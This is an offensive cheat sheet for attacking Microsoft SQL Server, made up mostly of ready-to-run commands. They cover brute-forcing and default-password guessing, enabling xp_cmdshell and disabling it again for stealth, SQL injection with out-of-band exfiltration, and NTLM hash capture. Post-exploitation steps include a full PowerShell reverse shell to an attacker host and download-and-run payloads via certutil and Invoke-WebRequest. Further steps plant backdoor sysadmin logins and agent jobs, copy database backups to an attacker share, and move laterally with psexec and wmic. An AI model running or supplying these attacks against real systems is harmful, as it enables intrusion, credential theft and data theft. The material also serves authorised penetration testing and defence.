MSSQL (Microsoft SQL Server)

Default Port: 1433

Microsoft SQL Server (MSSQL) is a relational database management system developed by Microsoft. It's widely used in enterprise environments and integrates tightly with Windows infrastructure. MSSQL offers powerful features including stored procedures, xp_cmdshell for command execution, and extensive Windows authentication integration.

Connect

Using mssqlclient.py (Impacket)

# Windows authentication
mssqlclient.py DOMAIN/username:password@target.com

# SQL authentication
mssqlclient.py sa:password@target.com -windows-auth

# With specific database
mssqlclient.py username:password@target.com -db master

# Using hash (Pass-the-Hash)
mssqlclient.py username@target.com -hashes :NTHASH

Using sqsh

# Connect with SQL authentication
sqsh -S target.com -U sa -P password

# Connect with Windows authentication
sqsh -S target.com -U DOMAIN\\username -P password

Using sqlcmd (Windows)

# Local connection
sqlcmd -S localhost -U sa -P password

# Remote connection
sqlcmd -S target.com,1433 -U sa -P password

# Windows authentication
sqlcmd -S target.com -E

# Execute query directly
sqlcmd -S target.com -U sa -P password -Q "SELECT @@version"

Using DBeaver / SQL Server Management Studio (GUI)

Server: target.com
Port: 1433
Username: sa
Password: password
Authentication: SQL Server / Windows

Recon

Service Detection with Nmap

Use Nmap to detect MSSQL services and identify server capabilities.

nmap -p 1433 target.com

Identify MSSQL server version and gather configuration details.

Using netcat

# Using netcat
nc -vn target.com 1433

Version Detection with Nmap

# Using Nmap
nmap -p 1433 -sV --script-args mssql.instance-all target.com

Instance Discovery

Discover MSSQL instances using various methods.

Instance Discovery with Nmap

# SQL Server Browser Service (UDP 1434)
nmap -sU -p 1434 --script ms-sql-discover target.com

Using PowerShell

# Using PowerShell
Get-SQLInstanceDomain

Instance Discovery with Metasploit

# Using Metasploit
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS target.com
run

Enumeration

Version Detection

Identifying the SQL Server version helps determine applicable exploits and security vulnerabilities.

# Get SQL Server version
SELECT @@version;

# Get product version
SELECT SERVERPROPERTY('ProductVersion');
SELECT SERVERPROPERTY('ProductLevel');
SELECT SERVERPROPERTY('Edition');

# Get machine name
SELECT @@SERVERNAME;
SELECT SERVERPROPERTY('MachineName');

Database Enumeration

Enumerating databases reveals the data landscape and helps identify high-value targets.

# List all databases
SELECT name FROM sys.databases;
SELECT name FROM master.dbo.sysdatabases;

# Current database
SELECT DB_NAME();

# Database information
SELECT name, database_id, create_date 
FROM sys.databases;

# Database size
EXEC sp_helpdb;

User Enumeration

Understanding user accounts and their permissions is critical for privilege escalation.

# List all users
SELECT name FROM master.sys.server_principals;
SELECT name FROM sys.sysusers;

# Current user
SELECT USER_NAME();
SELECT SYSTEM_USER;
SELECT CURRENT_USER;

# User privileges
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

# List sysadmin users
SELECT name FROM master.sys.server_principals 
WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;

Table and Column Enumeration

Extract table and column information from databases.

# List tables in current database
SELECT table_name FROM information_schema.tables;

# List all columns in a table
SELECT column_name, data_type 
FROM information_schema.columns 
WHERE table_name = 'users';

# Search for specific column names
SELECT table_name, column_name 
FROM information_schema.columns 
WHERE column_name LIKE '%password%';

# Count rows in tables
SELECT t.name, p.rows 
FROM sys.tables t
INNER JOIN sys.partitions p ON t.object_id = p.object_id
WHERE p.index_id < 2;

Privilege Enumeration

Check user privileges and role memberships.

# Check if current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');

# Check server roles
SELECT name FROM master.sys.server_principals 
WHERE type = 'R';

# Current user permissions
EXEC sp_helprotect;

# Database role members
EXEC sp_helprolemember;

Linked Server Enumeration

Enumerate linked servers and test connections.

# List linked servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;

# Test linked server connection
SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT @@version');

# Execute on linked server
EXEC ('SELECT @@version') AT [LinkedServerName];

Attack Vectors

Default Credentials

Test for common default MSSQL credentials.

# Common default credentials
sa:<blank>
sa:sa
sa:password
sa:Password123
sa:P@ssw0rd

# Try with mssqlclient
mssqlclient.py sa@target.com
mssqlclient.py sa:sa@target.com
mssqlclient.py sa:password@target.com

Brute Force Attack

Brute forcing MSSQL credentials can reveal weak passwords, especially on systems using SQL authentication.

Using Hydra

hydra -l sa -P /usr/share/wordlists/rockyou.txt target.com mssql

Brute Forcing with Metasploit

use auxiliary/scanner/mssql/mssql_login
set RHOSTS target.com
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Using Nmap

nmap -p 1433 --script ms-sql-brute \
  --script-args userdb=users.txt,passdb=passwords.txt target.com

Command Execution via xp_cmdshell

Execute operating system commands through MSSQL using xp_cmdshell.

Enabling xp_cmdshell

# Enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Command Execution

# Execute command
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'net user';

# Disable xp_cmdshell (for stealth)
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;

Reading Files

Read files from the file system using various MSSQL methods.

Using OPENROWSET

# Read file using OPENROWSET
SELECT * FROM OPENROWSET(
  BULK 'C:\Windows\System32\drivers\etc\hosts',
  SINGLE_CLOB
) AS Contents;

Using xp_cmdshell and Extended Procedures

# Read file using xp_cmdshell
EXEC xp_cmdshell 'type C:\Windows\win.ini';

# Using xp_dirtree to list directories
EXEC master..xp_dirtree 'C:\', 1, 1;

# Using xp_fileexist to check file existence
EXEC master..xp_fileexist 'C:\Windows\win.ini';

Writing Files

Write files to the file system using various MSSQL methods.

Basic File Writing

# Write to file using xp_cmdshell
EXEC xp_cmdshell 'echo test > C:\Temp\test.txt';

# Copy file
EXEC xp_cmdshell 'copy C:\source.txt C:\dest.txt';

Advanced File Operations

# Download file from web
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\Temp\shell.exe"';

# Using BCP utility to export data
EXEC master..xp_cmdshell 'bcp "SELECT * FROM database.dbo.users" queryout "C:\users.txt" -c -T';

Capturing MSSQL Service Hash

Capture NTLM hashes by forcing MSSQL to authenticate to attacker-controlled SMB shares.

Setting Up Hash Capture

# Force MSSQL to authenticate to attacker's SMB share
# Start Responder on attacker machine
sudo responder -I eth0

# On MSSQL
EXEC xp_dirtree '\\attacker-ip\share';
EXEC xp_fileexist '\\attacker-ip\share\file';

# Or using xp_subdirs
EXEC master..xp_subdirs '\\attacker-ip\share';

Hash Cracking

# Capture NTLMv2 hash with Responder
# Crack with hashcat
hashcat -m 5600 hash.txt rockyou.txt

SQL Injection in MSSQL Context

Exploit SQL injection vulnerabilities in MSSQL applications.

Basic Injection Techniques

# Stacked queries (MSSQL allows multiple statements)
'; EXEC xp_cmdshell 'whoami'--

# Time-based blind injection
'; WAITFOR DELAY '00:00:05'--

# UNION injection
' UNION SELECT null, @@version--

# Error-based injection
' AND 1=CONVERT(int, @@version)--

Advanced Injection Techniques

# Out-of-band data exfiltration
'; DECLARE @data varchar(max); 
  SELECT @data=name FROM master.sys.databases WHERE database_id=1;
  EXEC('master..xp_dirtree "\\attacker.com\'+@data+'"')--

Privilege Escalation

Escalate privileges using various MSSQL techniques.

Impersonation Attacks

# Check for impersonation permissions
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

# Impersonate sysadmin user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

# Execute as different user
EXECUTE AS USER = 'admin_user';

# Revert to original context
REVERT;

TRUSTWORTHY Database Exploitation

# Using TRUSTWORTHY database
# If database is TRUSTWORTHY and you have db_owner
USE master;
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Linked Server Exploitation

Exploit linked servers for lateral movement and privilege escalation.

Basic Linked Server Commands

# Execute commands on linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LinkedServer];

# Double hop to third server
EXEC ('EXEC (''EXEC xp_cmdshell ''''whoami'''''') AT [Server3]') AT [Server2];

Advanced Linked Server Exploitation

# Privilege escalation via linked server
# If linked server uses higher privileges
EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [LinkedServer];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LinkedServer];

# RPC out enabled
EXEC sp_serveroption @server='LinkedServer', @optname='rpc out', @optvalue='TRUE';

Post-Exploitation

Password Hash Extraction

Extract and crack MSSQL password hashes.

Hash Extraction

# Extract password hashes (requires sysadmin)
SELECT name, password_hash FROM sys.sql_logins;

Hash Extraction with Metasploit

# Using Metasploit
use auxiliary/scanner/mssql/mssql_hashdump
set RHOSTS target.com
set USERNAME sa
set PASSWORD password
run

# Crack MSSQL hashes
hashcat -m 1731 hashes.txt rockyou.txt

Persistence

Establish persistent access to MSSQL systems.

User Account Backdoors

# Create backdoor user with sysadmin
CREATE LOGIN backdoor WITH PASSWORD = 'P@ssw0rd123!';
EXEC sp_addsrvrolemember 'backdoor', 'sysadmin';

Stored Procedure Backdoors

# Create stored procedure backdoor
CREATE PROCEDURE sp_backdoor
AS
EXEC xp_cmdshell 'powershell -enc <base64_payload>';

# SQL Server Agent job for persistence
USE msdb;
EXEC sp_add_job @job_name = 'Backdoor';
EXEC sp_add_jobstep @job_name = 'Backdoor',
  @step_name = 'Execute',
  @subsystem = 'CMDEXEC',
  @command = 'powershell -enc <base64_payload>';
EXEC sp_add_schedule @schedule_name = 'Daily',
  @freq_type = 4;
EXEC sp_attach_schedule @job_name = 'Backdoor',
  @schedule_name = 'Daily';

Reverse Shell

Establish reverse shell connections through MSSQL.

PowerShell Reverse Shell

PowerShell reverse shell

EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''attacker-ip'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';

Metasploit Payload Execution

# Using Metasploit
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe > shell.exe
# Upload via xp_cmdshell
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://attacker.com/shell.exe -OutFile C:\Temp\shell.exe"';
EXEC xp_cmdshell 'C:\Temp\shell.exe';

# Download and execute payload
EXEC xp_cmdshell 'certutil -urlcache -split -f http://attacker.com/payload.exe C:\Windows\Temp\payload.exe';
EXEC xp_cmdshell 'C:\Windows\Temp\payload.exe';

Data Exfiltration

Extract sensitive data from MSSQL databases.

Database Backup and Export

# Export database to file
BACKUP DATABASE targetDB TO DISK = 'C:\Temp\backup.bak';

# Copy to attacker's share (if accessible)
EXEC xp_cmdshell 'copy C:\Temp\backup.bak \\attacker-ip\share\backup.bak';

# Export specific table
EXEC master..xp_cmdshell 'bcp "SELECT * FROM database.dbo.users" queryout "C:\users.txt" -c -T';

Advanced Exfiltration Techniques

# Base64 encode and exfiltrate via DNS
# (Requires custom scripting with xp_cmdshell and PowerShell)

Lateral Movement

Move laterally through the network using MSSQL access.

Domain Enumeration

# Enumerate domain users
EXEC xp_cmdshell 'net user /domain';
EXEC xp_cmdshell 'net group "Domain Admins" /domain';

# Enumerate shares
EXEC xp_cmdshell 'net view \\target-host';

Remote Execution

# Execute on remote system
EXEC xp_cmdshell 'psexec \\target-host -u domain\admin -p password cmd.exe';

# WMI lateral movement
EXEC xp_cmdshell 'wmic /node:target-host process call create "cmd.exe /c payload.exe"';

Common MSSQL Procedures

Procedure	Description	Requires Admin
`xp_cmdshell`	Execute OS commands	Yes
`sp_configure`	Configure server options	Yes
`xp_dirtree`	List directory contents	No
`xp_fileexist`	Check file existence	No
`xp_subdirs`	List subdirectories	No
`sp_linkedservers`	List linked servers	No
`sp_addlinkedsrvlogin`	Add linked server login	Yes
`OPENROWSET`	Query remote data source	Varies
`BULK INSERT`	Import data from file	Varies

Common MSSQL System Databases

Database	Description	Important Tables/Views
`master`	Stores system-wide configuration and metadata	`sys.databases`, `sys.server_principals`
`model`	Template used when creating new databases	N/A
`msdb`	Stores SQL Server Agent jobs, schedules, and related data	`sysjobs`, `sysschedules`
`tempdb`	Stores temporary objects and intermediate results	N/A

Usefull Tools

Tool	Description	Primary Use Case
`mssqlclient.py`	Impacket MSSQL client	Command-line interaction
SQL Server Management Studio (SSMS)	GUI client	Database administration and management
DBeaver	Universal database tool	Cross-platform database management
SQLmap	SQL injection tool	Automated SQL injection testing
PowerUpSQL	PowerShell MSSQL toolkit	MSSQL enumeration and security testing
Nmap	Network scanner	Service and port detection
Metasploit	Exploitation framework	MSSQL security testing and exploitation modules

Security Misconfigurations to Test

❌ Default sa account with weak password
❌ xp_cmdshell enabled
❌ Excessive user permissions
❌ TRUSTWORTHY database property enabled
❌ Weak authentication (SQL instead of Windows)
❌ Impersonation permissions granted
❌ Linked servers with high privileges
❌ Unencrypted connections
❌ Outdated SQL Server version
❌ SQL Server Browser service enabled

Connect​

Using mssqlclient.py (Impacket)​

Using sqsh​

Using sqlcmd (Windows)​

Using DBeaver / SQL Server Management Studio (GUI)​

Recon​

Service Detection with Nmap​

Banner Grabbing​

Using netcat​

Version Detection with Nmap​

Instance Discovery​

Instance Discovery with Nmap​

Using PowerShell​

Instance Discovery with Metasploit​

Enumeration​

Version Detection​

Database Enumeration​

User Enumeration​

Table and Column Enumeration​

Privilege Enumeration​

Linked Server Enumeration​

Attack Vectors​

Default Credentials​

Brute Force Attack​

Using Hydra​

Brute Forcing with Metasploit​

Using Nmap​

Command Execution via xp_cmdshell​

Enabling xp_cmdshell​

Command Execution​

Reading Files​

Using OPENROWSET​

Using xp_cmdshell and Extended Procedures​

Writing Files​

Basic File Writing​

Advanced File Operations​

Capturing MSSQL Service Hash​

Setting Up Hash Capture​

Hash Cracking​

SQL Injection in MSSQL Context​

Basic Injection Techniques​

Advanced Injection Techniques​

Privilege Escalation​

Impersonation Attacks​

TRUSTWORTHY Database Exploitation​

Linked Server Exploitation​

Basic Linked Server Commands​

Advanced Linked Server Exploitation​

Post-Exploitation​

Password Hash Extraction​

Hash Extraction​

Hash Extraction with Metasploit​

Persistence​

User Account Backdoors​

Stored Procedure Backdoors​

Reverse Shell​

PowerShell Reverse Shell​